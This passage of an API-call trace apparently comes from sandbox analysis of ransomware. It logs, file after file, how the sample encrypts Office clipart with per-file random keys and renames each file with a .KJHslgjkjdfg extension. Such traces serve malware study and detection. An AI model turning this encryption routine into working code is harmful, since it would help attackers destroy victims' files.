pdwDataLen=0x290f258*=0x40) returned 1 [0158.741] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.741] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.741] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.741] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.741] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.741] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.742] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.742] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.742] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.742] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8fc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8fc, lpOverlapped=0x0) returned 1 [0158.742] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x900, dwBufLen=0x900 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x900) returned 1 [0158.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.742] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x900, lpOverlapped=0x0) returned 1 [0158.742] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.742] SetEndOfFile (hFile=0x114) returned 1 [0158.745] GetProcessHeap () returned 0x2a0000 [0158.745] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.745] GetProcessHeap () returned 0x2a0000 [0158.745] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.kjhslgjkjdfg")) returned 1 [0158.746] CloseHandle (hObject=0x114) returned 1 [0158.746] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0158.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.747] GetProcessHeap () returned 0x2a0000 [0158.747] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.747] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.747] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.747] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.747] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.747] GetProcessHeap () returned 0x2a0000 [0158.747] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.747] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.747] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.747] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.750] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.750] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.750] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.750] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.750] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.750] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.750] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.750] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.750] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x820, lpOverlapped=0x0) returned 1 [0158.750] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x820, dwBufLen=0x820 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x820) returned 1 [0158.750] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.751] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x820, lpOverlapped=0x0) returned 1 [0158.751] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.751] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.751] SetEndOfFile (hFile=0x114) returned 1 [0158.753] GetProcessHeap () returned 0x2a0000 [0158.753] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.753] GetProcessHeap () returned 0x2a0000 [0158.753] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.kjhslgjkjdfg")) returned 1 [0158.754] CloseHandle (hObject=0x114) returned 1 [0158.754] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0158.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.754] GetProcessHeap () returned 0x2a0000 [0158.754] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.754] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.754] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.755] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.755] GetProcessHeap () returned 0x2a0000 [0158.755] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.755] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.755] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.755] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.758] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.758] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.759] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.759] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.759] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.759] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.759] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x820, lpOverlapped=0x0) returned 1 [0158.759] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x820, dwBufLen=0x820 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x820) returned 1 [0158.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.759] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x820, lpOverlapped=0x0) returned 1 [0158.759] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.759] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.759] SetEndOfFile (hFile=0x114) returned 1 [0158.761] GetProcessHeap () returned 0x2a0000 [0158.761] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.761] GetProcessHeap () returned 0x2a0000 [0158.761] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.kjhslgjkjdfg")) returned 1 [0158.762] CloseHandle (hObject=0x114) returned 1 [0158.762] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0158.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.763] GetProcessHeap () returned 0x2a0000 [0158.763] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.763] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.763] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.766] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.766] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.766] GetProcessHeap () returned 0x2a0000 [0158.766] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.766] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.766] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.766] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.766] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.766] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.766] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.766] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.766] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.766] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.767] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.767] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7d4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7d4, lpOverlapped=0x0) returned 1 [0158.767] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e0) returned 1 [0158.767] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.767] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7e0, lpOverlapped=0x0) returned 1 [0158.767] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.767] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.767] SetEndOfFile (hFile=0x114) returned 1 [0158.769] GetProcessHeap () returned 0x2a0000 [0158.769] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.769] GetProcessHeap () returned 0x2a0000 [0158.769] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.769] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.kjhslgjkjdfg")) returned 1 [0158.770] CloseHandle (hObject=0x114) returned 1 [0158.770] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0158.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.771] GetProcessHeap () returned 0x2a0000 [0158.771] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.771] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.771] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.771] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.773] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.773] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.773] GetProcessHeap () returned 0x2a0000 [0158.773] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.773] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.773] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.773] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.773] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.774] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.774] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.774] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.774] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.774] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.774] ReadFile (in: hFile=0x114, 